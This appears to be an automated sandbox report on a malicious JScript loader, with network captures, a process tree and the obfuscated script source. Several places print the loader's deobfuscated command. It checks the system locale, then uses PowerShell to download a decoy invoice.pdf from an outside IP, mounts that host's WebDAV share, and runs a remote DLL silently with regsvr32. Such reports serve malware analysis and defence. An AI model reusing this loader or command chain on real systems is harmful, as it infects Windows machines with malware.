Jan 11, 2025 06:14:13.185067892 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:14:13.185122967 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:14:13.185136080 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:14:13.185148001 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 06:14:13.185172081 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 06:14:13.185188055 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 06:14:13.185201883 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 06:14:13.189994097 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49777	193.143.1.205	8888	7856	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:14:15.060331106 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:14:15.874169111 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:14:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:14:07
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js"
Imagebase:	0x7ff65b790000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:14:08
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll
Imagebase:	0x7ff7d4ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:14:08
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:14:08
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:14:13
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:14:13
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d4ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:14:13
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ede10000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:14:14
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:14:14
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:14:14
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1644,i,2973782454620133197,160051781018854602,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rtuxyhry() {	rtuxyhry() ➔ undefined
1	lfsmctglj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hukbou = this[mkpkgkh + ovylhbpd + nsetkgaz + ucjbpccb + paplfwbmr + dhfvvhfwq + vneejxttq + lkbacdmx] ( this[xxijad + haoqzwmq + mglzdar + nsetkgaz + dwwxiaiyj + mkpkgkh + lkbacdmx][ltfxpi + nsetkgaz + paplfwbmr + ovylhbpd + lkbacdmx + paplfwbmr + mkyazwjt + lcjwrecz + rnlifl + paplfwbmr + mglzdar + lkbacdmx] ( xxijad + haoqzwmq + mglzdar + nsetkgaz + dwwxiaiyj + mkpkgkh + lkbacdmx + jyhum + haoqzwmq + kixnu + paplfwbmr + fxssneklw + fxssneklw ) [fjmhl + paplfwbmr + lmeyzkiff + fjmhl + paplfwbmr + ovylhbpd + dwolnscgq] ( nlynjr + llaui + sdhij + fzjhecq + mmhxhpvv + ltfxpi + noeqykj + fjmhl + fjmhl + sdhij + ohism + oelofkk + mmhxhpvv + noeqykj + haoqzwmq + sdhij + fjmhl + lflodp + ltfxpi + jdoojnizt + vneejxttq + lkbacdmx + nsetkgaz + jdoojnizt + fxssneklw + kkrldg + ikbhzbvh + ovylhbpd + vneejxttq + paplfwbmr + fxssneklw + lflodp + dhfvvhfwq + vneejxttq + lkbacdmx + paplfwbmr + nsetkgaz + vneejxttq + ovylhbpd + lkbacdmx + dwwxiaiyj + jdoojnizt + vneejxttq + ovylhbpd + fxssneklw + lflodp + djkqirb + jdoojnizt + mglzdar + ovylhbpd + fxssneklw + paplfwbmr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ewmaj = 0 ; ewmaj < lfsmctglj[fxssneklw + paplfwbmr + vneejxttq + lmeyzkiff + lkbacdmx + kixnu] ; ++ ewmaj )
4	{
5	if ( hukbou == lfsmctglj[ewmaj] )
6	{
7	hukbou = true;
8	break ;
9	}
10	}
11	if ( hukbou !== true )
12	this[xxijad + haoqzwmq + mglzdar + nsetkgaz + dwwxiaiyj + mkpkgkh + lkbacdmx][aqtobyo + csizpaeh + dwwxiaiyj + lkbacdmx] ( );
13	this[xxijad + haoqzwmq + mglzdar + nsetkgaz + dwwxiaiyj + mkpkgkh + lkbacdmx][ltfxpi + nsetkgaz + paplfwbmr + ovylhbpd + lkbacdmx + paplfwbmr + mkyazwjt + lcjwrecz + rnlifl + paplfwbmr + mglzdar + lkbacdmx] ( xxijad + haoqzwmq + mglzdar + nsetkgaz + dwwxiaiyj + mkpkgkh + lkbacdmx + jyhum + haoqzwmq + kixnu + paplfwbmr + fxssneklw + fxssneklw ) [nsetkgaz + csizpaeh + vneejxttq] ( mglzdar + izxiqts + dwolnscgq + kkrldg + seoxyj + mglzdar + kkrldg + mkpkgkh + jdoojnizt + phyaqm + paplfwbmr + nsetkgaz + ucjbpccb + kixnu + paplfwbmr + fxssneklw + fxssneklw + jyhum + paplfwbmr + uytlc + paplfwbmr + kkrldg + oixerao + ltfxpi + jdoojnizt + izxiqts + izxiqts + ovylhbpd + vneejxttq + dwolnscgq + kkrldg + dzeansexx + dhfvvhfwq + vneejxttq + eqkojle + jdoojnizt + rofyhxp + paplfwbmr + oixerao + xxijad + paplfwbmr + lcjwrecz + fjmhl + paplfwbmr + bhcxhszyt + csizpaeh + paplfwbmr + ucjbpccb + lkbacdmx + kkrldg + oixerao + mkyazwjt + csizpaeh + lkbacdmx + pxopig + dwwxiaiyj + fxssneklw + paplfwbmr + kkrldg + vrmmki + lkbacdmx + paplfwbmr + izxiqts + mkpkgkh + vrmmki + lflodp + dwwxiaiyj + vneejxttq + eqkojle + jdoojnizt + dwwxiaiyj + mglzdar + paplfwbmr + jyhum + mkpkgkh + dwolnscgq + oopdd + kkrldg + kixnu + lkbacdmx + lkbacdmx + mkpkgkh + fmmbwyotd + seoxyj + seoxyj + hqagnla + lmszcpva + rtcmrp + jyhum + hqagnla + fcbaw + rtcmrp + jyhum + hqagnla + jyhum + hpolgebuk + kgyia + dtfea + seoxyj + dwwxiaiyj + vneejxttq + eqkojle + jdoojnizt + dwwxiaiyj + mglzdar + paplfwbmr + jyhum + mkpkgkh + kixnu + mkpkgkh + dzeansexx + tutggz + tutggz + ucjbpccb + lkbacdmx + ovylhbpd + nsetkgaz + lkbacdmx + kkrldg + vrmmki + lkbacdmx + paplfwbmr + izxiqts + mkpkgkh + vrmmki + lflodp + dwwxiaiyj + vneejxttq + eqkojle + jdoojnizt + dwwxiaiyj + mglzdar + paplfwbmr + jyhum + mkpkgkh + dwolnscgq + oopdd + tutggz + tutggz + mglzdar + izxiqts + dwolnscgq + kkrldg + seoxyj + mglzdar + kkrldg + vneejxttq + paplfwbmr + lkbacdmx + kkrldg + csizpaeh + ucjbpccb + paplfwbmr + kkrldg + lflodp + lflodp + hqagnla + lmszcpva + rtcmrp + jyhum + hqagnla + fcbaw + rtcmrp + jyhum + hqagnla + jyhum + hpolgebuk + kgyia + dtfea + pebxtgtl + vdvnftko + vdvnftko + vdvnftko + vdvnftko + lflodp + dwolnscgq + ovylhbpd + eqkojle + phyaqm + phyaqm + phyaqm + nsetkgaz + jdoojnizt + jdoojnizt + lkbacdmx + lflodp + tutggz + tutggz + mglzdar + izxiqts + dwolnscgq + kkrldg + seoxyj + mglzdar + kkrldg + nsetkgaz + paplfwbmr + lmeyzkiff + ucjbpccb + eqkojle + nsetkgaz + rtcmrp + hpolgebuk + kkrldg + seoxyj + ucjbpccb + kkrldg + lflodp + lflodp + hqagnla + lmszcpva + rtcmrp + jyhum + hqagnla + fcbaw + rtcmrp + jyhum + hqagnla + jyhum + hpolgebuk + kgyia + dtfea + pebxtgtl + vdvnftko + vdvnftko + vdvnftko + vdvnftko + lflodp + dwolnscgq + ovylhbpd + eqkojle + phyaqm + phyaqm + phyaqm + nsetkgaz + jdoojnizt + jdoojnizt + lkbacdmx + lflodp + dtfea + kgyia + hqagnla + vdvnftko + lmszcpva + lmszcpva + hqagnla + hpolgebuk + hqagnla + szbkxwxfc + fcbaw + dtfea + jyhum + dwolnscgq + fxssneklw + fxssneklw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll",0,false) ➔ 0
14	}
15	dtfea = "l";
16	dtfea = "d";
17	dtfea = "x";
18	dtfea = "O";
19	dtfea = "W";
20	dtfea = "y";
21	dtfea = "O";
22	dtfea = "g";
23	dtfea = "C";
24	dtfea = "a";
25	dtfea = "E";
26	dtfea = "o";
27	dtfea = "U";
28	dtfea = "H";
29	dtfea = "F";
30	dtfea = "Y";
31	dtfea = "u";
32	dtfea = "L";
33	dtfea = "I";
34	dtfea = "y";
35	dtfea = "F";
36	dtfea = "W";
37	dtfea = "q";
38	dtfea = "E";
39	dtfea = "X";
40	dtfea = "e";
41	dtfea = "g";
42	dtfea = "n";
43	dtfea = "B";
44	dtfea = "f";
45	dtfea = "w";
46	dtfea = "I";
47	dtfea = "h";
48	dtfea = "k";
49	dtfea = "i";
50	dtfea = "Z";
51	dtfea = "E";
52	dtfea = "O";
53	dtfea = "o";
54	dtfea = "s";
55	dtfea = "5";
56	sdhij = "y";
57	sdhij = "L";
58	sdhij = "u";
59	sdhij = "c";
60	sdhij = "e";
61	sdhij = "d";
62	sdhij = "u";
63	sdhij = "s";
64	sdhij = "E";
65	kgyia = "y";
66	kgyia = "H";
67	kgyia = "0";
68	mkyazwjt = "M";
69	mkyazwjt = "y";
70	mkyazwjt = "w";
71	mkyazwjt = "D";
72	mkyazwjt = "t";
73	mkyazwjt = "H";
74	mkyazwjt = "H";
75	mkyazwjt = "P";
76	mkyazwjt = "N";
77	mkyazwjt = "Y";
78	mkyazwjt = "t";
79	mkyazwjt = "s";
80	mkyazwjt = "W";
81	mkyazwjt = "C";
82	mkyazwjt = "n";
83	mkyazwjt = "B";
84	mkyazwjt = "l";
85	mkyazwjt = "a";
86	mkyazwjt = "X";
87	mkyazwjt = "k";
88	mkyazwjt = "O";
89	dwwxiaiyj = "E";
90	dwwxiaiyj = "Z";
91	dwwxiaiyj = "J";
92	dwwxiaiyj = "E";
93	dwwxiaiyj = "X";
94	dwwxiaiyj = "G";
95	dwwxiaiyj = "b";
96	dwwxiaiyj = "S";
97	dwwxiaiyj = "o";
98	dwwxiaiyj = "c";
99	dwwxiaiyj = "i";
100	ikbhzbvh = "n";
101	ikbhzbvh = "W";
102	ikbhzbvh = "f";
103	ikbhzbvh = "z";
104	ikbhzbvh = "J";
105	ikbhzbvh = "P";
106	ikbhzbvh = "a";
107	ikbhzbvh = "r";
108	ikbhzbvh = "X";
109	ikbhzbvh = "I";
110	ikbhzbvh = "a";
111	ikbhzbvh = "f";
112	ikbhzbvh = "o";
113	ikbhzbvh = "E";
114	ikbhzbvh = "L";
115	ikbhzbvh = "Y";
116	ikbhzbvh = "I";
117	ikbhzbvh = "n";
118	ikbhzbvh = "q";
119	ikbhzbvh = "G";
120	ikbhzbvh = "s";
121	ikbhzbvh = "D";
122	ikbhzbvh = "s";
123	ikbhzbvh = "s";
124	ikbhzbvh = "l";
125	ikbhzbvh = "Q";
126	ikbhzbvh = "z";
127	ikbhzbvh = "P";
128	fjmhl = "g";
129	fjmhl = "b";
130	fjmhl = "Y";
131	fjmhl = "N";
132	fjmhl = "O";
133	fjmhl = "Q";
134	fjmhl = "x";
135	fjmhl = "N";
136	fjmhl = "n";
137	fjmhl = "D";
138	fjmhl = "Y";
139	fjmhl = "w";
140	fjmhl = "K";
141	fjmhl = "E";
142	fjmhl = "E";
143	fjmhl = "T";
144	fjmhl = "w";
145	fjmhl = "l";
146	fjmhl = "R";
147	uytlc = "J";
148	uytlc = "q";
149	uytlc = "h";
150	uytlc = "W";
151	uytlc = "R";
152	uytlc = "x";
153	mkpkgkh = "L";
154	mkpkgkh = "q";
155	mkpkgkh = "K";
156	mkpkgkh = "B";
157	mkpkgkh = "B";
158	mkpkgkh = "S";
159	mkpkgkh = "P";
160	mkpkgkh = "H";
161	mkpkgkh = "J";
162	mkpkgkh = "P";
163	mkpkgkh = "e";
164	mkpkgkh = "Y";
165	mkpkgkh = "u";
166	mkpkgkh = "j";
167	mkpkgkh = "Z";
168	mkpkgkh = "L";
169	mkpkgkh = "R";
170	mkpkgkh = "N";
171	mkpkgkh = "I";
172	mkpkgkh = "g";
173	mkpkgkh = "i";
174	mkpkgkh = "k";
175	mkpkgkh = "U";
176	mkpkgkh = "O";
177	mkpkgkh = "z";
178	mkpkgkh = "j";
179	mkpkgkh = "J";
180	mkpkgkh = "r";
181	mkpkgkh = "l";
182	mkpkgkh = "G";
183	mkpkgkh = "A";
184	mkpkgkh = "q";
185	mkpkgkh = "x";
186	mkpkgkh = "S";
187	mkpkgkh = "G";
188	mkpkgkh = "T";
189	mkpkgkh = "F";
190	mkpkgkh = "C";
191	mkpkgkh = "p";
192	lmszcpva = "T";
193	lmszcpva = "O";
194	lmszcpva = "c";
195	lmszcpva = "L";
196	lmszcpva = "X";
197	lmszcpva = "i";
198	lmszcpva = "T";
199	lmszcpva = "Q";
200	lmszcpva = "s";
201	lmszcpva = "Q";
202	lmszcpva = "K";
203	lmszcpva = "M";
204	lmszcpva = "P";
205	lmszcpva = "L";
206	lmszcpva = "Q";
207	lmszcpva = "X";
208	lmszcpva = "W";
209	lmszcpva = "b";
210	lmszcpva = "s";
211	lmszcpva = "z";
212	lmszcpva = "G";
213	lmszcpva = "x";
214	lmszcpva = "h";
215	lmszcpva = "Q";
216	lmszcpva = "J";
217	lmszcpva = "K";
218	lmszcpva = "Z";
219	lmszcpva = "b";
220	lmszcpva = "S";
221	lmszcpva = "i";
222	lmszcpva = "X";
223	lmszcpva = "D";
224	lmszcpva = "o";
225	lmszcpva = "U";
226	lmszcpva = "p";
227	lmszcpva = "j";
228	lmszcpva = "a";
229	lmszcpva = "A";
230	lmszcpva = "9";
231	phyaqm = "o";
232	phyaqm = "A";
233	phyaqm = "D";
234	phyaqm = "e";
235	phyaqm = "S";
236	phyaqm = "t";
237	phyaqm = "A";
238	phyaqm = "f";
239	phyaqm = "p";
240	phyaqm = "l";
241	phyaqm = "u";
242	phyaqm = "n";
243	phyaqm = "x";
244	phyaqm = "r";
245	phyaqm = "c";
246	phyaqm = "s";
247	phyaqm = "H";
248	phyaqm = "l";
249	phyaqm = "H";
250	phyaqm = "w";
251	jyhum = "Z";
252	jyhum = "f";
253	jyhum = "F";
254	jyhum = "a";
255	jyhum = "w";
256	jyhum = "a";
257	jyhum = "i";
258	jyhum = "m";
259	jyhum = "e";
260	jyhum = ".";
261	fcbaw = "A";
262	fcbaw = "a";
263	fcbaw = "4";
264	ovylhbpd = "M";
265	ovylhbpd = "Q";
266	ovylhbpd = "R";
267	ovylhbpd = "w";
268	ovylhbpd = "x";
269	ovylhbpd = "Y";
270	ovylhbpd = "c";
271	ovylhbpd = "x";
272	ovylhbpd = "n";
273	ovylhbpd = "h";
274	ovylhbpd = "g";
275	ovylhbpd = "Z";
276	ovylhbpd = "x";
277	ovylhbpd = "N";
278	ovylhbpd = "l";
279	ovylhbpd = "R";
280	ovylhbpd = "z";
281	ovylhbpd = "l";
282	ovylhbpd = "o";
283	ovylhbpd = "a";
284	ovylhbpd = "a";
285	lmeyzkiff = "J";
286	lmeyzkiff = "Q";
287	lmeyzkiff = "Z";
288	lmeyzkiff = "g";
289	lmeyzkiff = "k";
290	lmeyzkiff = "E";
291	lmeyzkiff = "Q";
292	lmeyzkiff = "g";
293	lmeyzkiff = "S";
294	lmeyzkiff = "b";
295	lmeyzkiff = "i";
296	lmeyzkiff = "S";
297	lmeyzkiff = "u";
298	lmeyzkiff = "G";
299	lmeyzkiff = "q";
300	lmeyzkiff = "n";
301	lmeyzkiff = "H";
302	lmeyzkiff = "h";
303	lmeyzkiff = "R";
304	lmeyzkiff = "i";
305	lmeyzkiff = "k";
306	lmeyzkiff = "c";
307	lmeyzkiff = "p";
308	lmeyzkiff = "g";
309	pxopig = "m";
310	pxopig = "S";
311	pxopig = "c";
312	pxopig = "H";
313	pxopig = "U";
314	pxopig = "D";
315	pxopig = "K";
316	pxopig = "p";
317	pxopig = "Q";
318	pxopig = "x";
319	pxopig = "l";
320	pxopig = "R";
321	pxopig = "a";
322	pxopig = "E";
323	pxopig = "g";
324	pxopig = "A";
325	pxopig = "y";
326	pxopig = "H";
327	pxopig = "P";
328	pxopig = "a";
329	pxopig = "r";
330	pxopig = "v";
331	pxopig = "k";
332	pxopig = "V";
333	pxopig = "h";
334	pxopig = "u";
335	pxopig = "C";
336	pxopig = "F";
337	jdoojnizt = "L";
338	jdoojnizt = "C";
339	jdoojnizt = "W";
340	jdoojnizt = "X";
341	jdoojnizt = "L";
342	jdoojnizt = "n";
343	jdoojnizt = "Y";
344	jdoojnizt = "U";
345	jdoojnizt = "K";
346	jdoojnizt = "f";
347	jdoojnizt = "m";
348	jdoojnizt = "m";
349	jdoojnizt = "d";
350	jdoojnizt = "e";
351	jdoojnizt = "j";
352	jdoojnizt = "a";
353	jdoojnizt = "o";
354	jdoojnizt = "z";
355	jdoojnizt = "u";
356	jdoojnizt = "C";
357	jdoojnizt = "X";
358	jdoojnizt = "a";
359	jdoojnizt = "u";
360	jdoojnizt = "a";
361	jdoojnizt = "L";
362	jdoojnizt = "q";
363	jdoojnizt = "B";
364	jdoojnizt = "r";
365	jdoojnizt = "u";
366	jdoojnizt = "t";
367	jdoojnizt = "l";
368	jdoojnizt = "y";
369	jdoojnizt = "w";
370	jdoojnizt = "Z";
371	jdoojnizt = "O";
372	jdoojnizt = "T";
373	jdoojnizt = "j";
374	jdoojnizt = "o";
375	jdoojnizt = "R";
376	jdoojnizt = "o";
377	hqagnla = "v";
378	hqagnla = "R";
379	hqagnla = "H";
380	hqagnla = "g";
381	hqagnla = "y";
382	hqagnla = "P";
383	hqagnla = "y";
384	hqagnla = "J";
385	hqagnla = "1";
386	oixerao = "b";
387	oixerao = "L";
388	oixerao = "d";
389	oixerao = "z";
390	oixerao = "W";
391	oixerao = "E";
392	oixerao = "Y";
393	oixerao = "R";
394	oixerao = "I";
395	oixerao = "A";
396	oixerao = "k";
397	oixerao = "x";
398	oixerao = "C";
399	oixerao = "G";
400	oixerao = "x";
401	oixerao = "q";
402	oixerao = "j";
403	oixerao = "S";
404	oixerao = "l";
405	oixerao = "E";
406	oixerao = "G";
407	oixerao = "A";
408	oixerao = "d";
409	oixerao = "-";
410	xxijad = "f";
411	xxijad = "D";
412	xxijad = "c";
413	xxijad = "b";
414	xxijad = "x";
415	xxijad = "s";
416	xxijad = "k";
417	xxijad = "y";
418	xxijad = "E";
419	xxijad = "w";
420	xxijad = "w";
421	xxijad = "D";
422	xxijad = "B";
423	xxijad = "s";
424	xxijad = "C";
425	xxijad = "R";
426	xxijad = "G";
427	xxijad = "I";
428	xxijad = "m";
429	xxijad = "H";
430	xxijad = "k";
431	xxijad = "V";
432	xxijad = "O";
433	xxijad = "v";
434	xxijad = "q";
435	xxijad = "T";
436	xxijad = "W";
437	hpolgebuk = "U";
438	hpolgebuk = "d";
439	hpolgebuk = "j";
440	hpolgebuk = "x";
441	hpolgebuk = "S";
442	hpolgebuk = "y";
443	hpolgebuk = "n";
444	hpolgebuk = "J";
445	hpolgebuk = "S";
446	hpolgebuk = "A";
447	hpolgebuk = "B";
448	hpolgebuk = "t";
449	hpolgebuk = "c";
450	hpolgebuk = "K";
451	hpolgebuk = "l";
452	hpolgebuk = "k";
453	hpolgebuk = "Q";
454	hpolgebuk = "E";
455	hpolgebuk = "z";
456	hpolgebuk = "J";
457	hpolgebuk = "l";
